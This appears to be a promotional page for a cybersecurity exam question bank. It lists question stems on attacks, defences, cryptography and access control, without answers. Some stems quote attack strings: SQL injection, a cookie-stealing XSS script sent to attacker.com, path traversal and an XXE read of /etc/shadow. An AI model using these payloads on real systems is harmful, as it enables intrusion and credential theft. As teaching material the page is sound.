Cybersecurity
27 free questions with worked answers, and 599 more in the full bank.
Free questions
The hospital management system is experiencing issues with data encryption and security due to a compromised encryption key. What is the best approach to resolve this issue while ensuring data protection and minimizing downtime?
1 mark · Easy
A user reports that they are unable to access the hospital management system due to a certificate expiration issue. What steps would you take to troubleshoot and resolve the issue while ensuring system availability?
1 mark · Easy
The hospital management system is experiencing issues with user authentication due to a compromised authentication token. What is the best approach to resolve this issue while minimizing disruption to patient care?
1 mark · Easy
What is the main purpose of a firewall?
1 mark · Easy
What type of malware disguises itself as legitimate software?
3 marks · Medium
What is a common method for securing user passwords?
3 marks · Medium
A user reports that they are unable to access the hospital management system due to a denial-of-service (DoS) attack. What steps would you take to mitigate the attack and restore system availability?
3 marks · Medium
What is the main purpose of antivirus software?
3 marks · Medium
Which of the following is an example of two-factor authentication?
3 marks · Medium
When setting up a new user account, what is an important first step?
3 marks · Medium
Which of the following is considered a strong password?
3 marks · Medium
Which of the following is an example of a phishing attack?
4 marks · Hard
A receptionist receives a call from someone claiming to be the CEO, demanding a password reset immediately because they are about to start a critical board meeting. This BEST describes which attack?
1 mark · Easy
An employee receives an SMS on their corporate phone stating their multi-factor authentication app needs a critical update, including a link to download an APK. What type of attack is occurring?
3 marks · Medium
A contractor holding a large box of networking equipment waits by the secure datacenter door until an authorized employee scans their badge and opens it, then follows them inside. This is known as...
3 marks · Medium
The CFO of a logistics company receives a highly customized email claiming a wire transfer for a known vendor has failed. The email contains a link to a fake banking portal. This attack is an example of...
1 mark · Easy
An attacker leaves several USB drives labeled "Q3 Layoffs & Bonuses" in the company parking lot, hoping curious employees will plug them into corporate workstations. This technique is called...
3 marks · Medium
A threat actor creates a fake LinkedIn profile claiming to be an IT recruiter. They spend weeks chatting with a systems administrator before asking them to run a "skills assessment" executable. This scenario heavily utilizes...
4 marks · Hard
During a penetration test, an assessor sits in the break room and watches an employee type their complex password into a laptop. The assessor then uses these credentials later. What occurred?
3 marks · Medium
A hospital's patient records system suddenly displays a red screen demanding payment in Bitcoin within 48 hours to decrypt the database. What type of malware has infected the system?
1 mark · Easy
A security analyst discovers that a compromised workstation has software installed that allows an attacker to remotely open the CD-ROM tray, turn on the webcam, and browse the filesystem without user knowledge. This is a...
3 marks · Medium
After a suspected breach, administrators notice that standard operating system commands like 'ls' and 'ps' are not showing a malicious process that is consuming CPU resources. The malware has likely installed a...
4 marks · Hard
An employee unknowingly downloads a malicious browser extension that records every keystroke made on banking websites and sends the text to an external server. This malware is a...
3 marks · Medium
Users complain that their web browsers are constantly redirecting to search engines they did not set, and pop-up ads appear even when the browser is closed. The systems are likely infected with...
3 marks · Medium
A piece of malware exploits a vulnerability in SMBv1 to spread rapidly across a corporate network without any user interaction, infecting hundreds of machines in minutes. This behavior characterizes a...
1 mark · Easy
An end-user downloads what appears to be a legitimate free PDF editor from a third-party site. Once installed, it edits PDFs but also silently installs a backdoor. This is an example of a...
3 marks · Medium
An endpoint detection system flags unusual PowerShell activity. Investigation reveals a malicious script running entirely in RAM, heavily obfuscated, leaving no executable footprint on the hard drive. This is...
4 marks · Hard
More Cybersecurity questions (page 1 of 10)
Answers and explanations are in the full bank.
- A developer discovers that entering `' OR 1=1 --` into a web portal's login field bypasses authentication entirely. This is an example of... · 1 mark
- A user posts a comment on a blog containing `<script>document.location='http://attacker.com/?cookie='+document.cookie</script>`. When other users view the comment, their session IDs are stolen. This is... · 3 marks
- An attacker tricks an authenticated user into clicking a link that secretly submits a password change request to a banking site where the user is currently logged in. The site accepts it. This attack is... · 4 marks
- A legacy C application crashes when a user inputs a string of 150 A's into a field designed for a 20-character last name. The attacker can use this to execute arbitrary shellcode. This describes a... · 4 marks
- An attacker modifies a URL parameter from `download.php?file=report.pdf` to `download.php?file=../../../../etc/passwd` and successfully retrieves a sensitive system file. This is an example of... · 3 marks
- A customer logs into an e-commerce site and notices their user profile URL is `profile.php?id=1045`. They change the 1045 to 1046 and view another customer's private billing details. This vulnerability is... · 3 marks
- An application parsing uploaded XML invoices fails to disable external entity processing. An attacker uploads a crafted XML file containing `<!ENTITY xxe SYSTEM "file:///etc/shadow">` to steal passwords. This is... · 4 marks
- A web application uses a vulnerable third-party library to process images. An attacker submits an image containing malicious code that executes on the server. The failure to validate the library represents a... · 3 marks
- A gaming server suddenly receives an overwhelming flood of ICMP Echo Requests and TCP SYN packets from thousands of different IP addresses globally, rendering it unavailable. This is a... · 1 mark
- An attacker uses a tool on the local LAN to send forged ARP replies, associating the default gateway's IP address with the attacker's MAC address. This allows them to intercept traffic. This is known as... · 4 marks
- Users attempting to visit their corporate intranet site are instead redirected to a malicious server hosting a credential harvesting page, because the local DNS cache was altered. This attack is... · 3 marks
- An attacker intercepts an encrypted authentication token transmitted over the network and retransmits it to the server an hour later to gain unauthorized access. Which attack was performed? · 4 marks
- A traveler connects to a Wi-Fi network named "Starbucks_Free_WiFi" at a coffee shop, but the AP is actually a rogue laptop controlled by a hacker intercepting all traffic. This rogue AP is an... · 3 marks
- A threat actor continuously sends IEEE 802.11 management frames to disconnect a wireless camera from its legitimate access point, forcing it to drop off the network. This is a... · 3 marks
- A rogue device on the network sends out countless DHCP discover messages with spoofed MAC addresses, exhausting the DHCP server's pool of available IP addresses. This is called... · 4 marks
- A hospital implements strict access controls and full disk encryption on all laptops to ensure that patient medical records cannot be read by unauthorized individuals. Which principle is being enforced? · 1 mark
- A financial institution uses SHA-256 hashes on daily transaction logs. Before processing, the hashes are compared to ensure the logs have not been altered in transit. This mechanism provides... · 3 marks
- An e-commerce company deploys redundant web servers across multiple geographic regions and uses a load balancer to ensure customers can always access the site, even during a hardware failure. This addresses... · 1 mark
- To prevent an employee from denying they sent a threatening email, the security team uses digital signatures tied to the user's private key. This concept is known as... · 3 marks
- A database administrator implements row-level security and dynamic masking to hide full credit card numbers from customer service agents, only showing the last four digits. This is an example of enforcing... · 4 marks
- An organization needs to encrypt a massive 500GB database backup before sending it to cold storage. Performance and speed are critical. Which type of cryptography should they use? · 3 marks
- Alice wants to send a secret message to Bob over the internet. Using public key cryptography, which key should Alice use to encrypt the message so only Bob can read it? · 1 mark
- A mobile device with limited processing power and battery life needs to establish secure TLS sessions. Which asymmetric algorithm provides strong security with significantly smaller key sizes than RSA? · 4 marks
- A developer downloads an ISO file for an operating system. Next to the download link is a string of 64 hexadecimal characters. What is the purpose of this string? · 3 marks
- When a user browses to a secure banking website, the browser checks the digital certificate. Which entity is responsible for issuing, managing, and revoking these digital certificates? · 4 marks
- An administrator is configuring a VPN and must choose a symmetric encryption algorithm that is considered highly secure and is the current U.S. government standard. Which should they select? · 3 marks
- A security engineer discovers that an internal web server is using MD5 to store user passwords. What is the PRIMARY vulnerability with this configuration? · 4 marks
- In a Public Key Infrastructure (PKI), an employee reports their smart card containing their private key was stolen. What must the administrator update immediately to warn others not to trust the employee's certificate? · 4 marks
- A user logs into a corporate VPN by providing a password and then approving a push notification sent to an app on their smartphone. This is an example of... · 1 mark
- An application generates a 6-digit code that changes every 30 seconds based on a shared secret key and the current time. This mechanism is known as... · 3 marks
- A company wants to implement phishing-resistant authentication using hardware security keys that support WebAuthn and CTAP protocols. Which standard should they adopt? · 4 marks
- Employees at a defense contractor use physical ID cards with an embedded microchip to enter the building and to log into their Windows workstations. These cards are known as... · 3 marks
- A user logs into the corporate intranet once in the morning and can subsequently access their email, HR portal, and CRM without being prompted for passwords again. This convenience is provided by... · 1 mark
- An organization needs to exchange authentication and authorization data across security domains with a partner company using an XML-based framework. Which protocol should they use? · 4 marks
- A mobile app needs access to a user's cloud storage files to upload a photo, but the user does not want to give the app their cloud storage password. Which protocol allows this delegated access? · 4 marks
- A hospital implements a system where doctors log into shared workstations using their fingerprint. This authentication factor is categorized as... · 3 marks
- A company assigns permissions to users based on their job title and department. The "Accountant" role has read/write access to financial folders. This access control model is... · 3 marks
- A defense agency strictly enforces access based on data labels (e.g., Top Secret) and user clearance levels. Even the owner of a document cannot change who has access to it. This model is... · 4 marks
- A system administrator provisions a new service account to run a backup process. The account is only granted read access to the specific folders it needs to back up, and nothing else. This demonstrates... · 1 mark
- To prevent fraud, a financial firm requires that the employee who approves a wire transfer cannot be the same employee who initiates the request. This security concept is called... · 3 marks
- A modern cloud application dynamically evaluates rules before granting access: user must be in the "Sales" group, accessing from a US IP address, during business hours, using a managed device. This model is... · 4 marks
- A user creates a text file on a shared server and explicitly grants their coworker read/write access to that specific file. The operating system allows the creator to manage these permissions. This is... · 3 marks
- At the bottom of a firewall's Access Control List (ACL), there is a rule that blocks all traffic that has not been explicitly allowed by previous rules. This concept is known as... · 1 mark
- A traditional router ACL checks only the source/destination IP and port of each individual packet, without understanding the context of the TCP connection. This is an example of a... · 3 marks
- An organization wants to protect their public-facing e-commerce web application from SQL injection and Cross-Site Scripting (XSS) attacks. Which specialized firewall should they deploy? · 3 marks
- A security administrator deploys a firewall that not only tracks TCP connections but also performs deep packet inspection, integrates intrusion prevention (IPS), and filters traffic based on user identity and application types. This is a... · 4 marks
- A network engineer is troubleshooting why an internal server cannot receive return traffic from a web server. The firewall is allowing the outbound request. If the firewall tracks active connections and dynamically allows return traffic, it is a... · 4 marks
- An intrusion detection system flags an alert because it matched the exact byte sequence of a known malware variant traversing the network. What detection method is being used? · 3 marks
- A network sensor monitors traffic for two weeks to establish a baseline of normal activity. The following week, it generates an alert when a database server suddenly transmits gigabytes of data to an unknown IP. This describes... · 4 marks
- A security engineer configures a network appliance to sit directly in the flow of traffic. When it detects malicious packets, it actively drops them before they reach the internal network. This appliance is operating as an... · 3 marks
- A SOC analyst investigates an IDS alert for a buffer overflow attack, only to find the traffic was a legitimate large file transfer on a custom port. This type of alert is known as a... · 1 mark
- A remote worker connects to the corporate VPN. They notice that traffic destined for internal company servers goes through the VPN, but their general internet browsing goes directly out their home ISP. This configuration is known as... · 3 marks
- Two branch offices need to connect their entire local networks together securely over the internet. The routers at each end are configured to maintain a persistent encrypted tunnel. This is a... · 4 marks
- An administrator is configuring a highly secure, network-layer VPN using a framework that provides authentication via AH and encryption via ESP. Which VPN protocol is being used? · 4 marks
- A contractor needs temporary access to a specific internal web application but does not have permissions to install VPN client software on their machine. Which VPN technology allows access via a standard web browser? · 3 marks
- An organization redesigns its network so that a compromised web server cannot easily move laterally to communicate with the database server on the same rack. They use software-defined networking to create strict boundaries per workload. This is... · 4 marks
- A core tenet of a company's new architecture is "Never trust, always verify." A user accessing an internal app from a corporate laptop must still authenticate and pass posture checks for every single session. This philosophy is... · 3 marks
- In a Zero Trust architecture, which component is responsible for evaluating the user context, device posture, and risk signals before granting a specific session token to access a resource? · 4 marks
- A security team creates playbooks, sets up an out-of-band communication channel, and conducts tabletop exercises. Which phase of the Incident Response lifecycle are they currently in? · 1 mark
- During an active malware outbreak, the network team unplugs the infected segment from the core switch to prevent the infection from spreading to the rest of the enterprise. Which IR phase is this? · 3 marks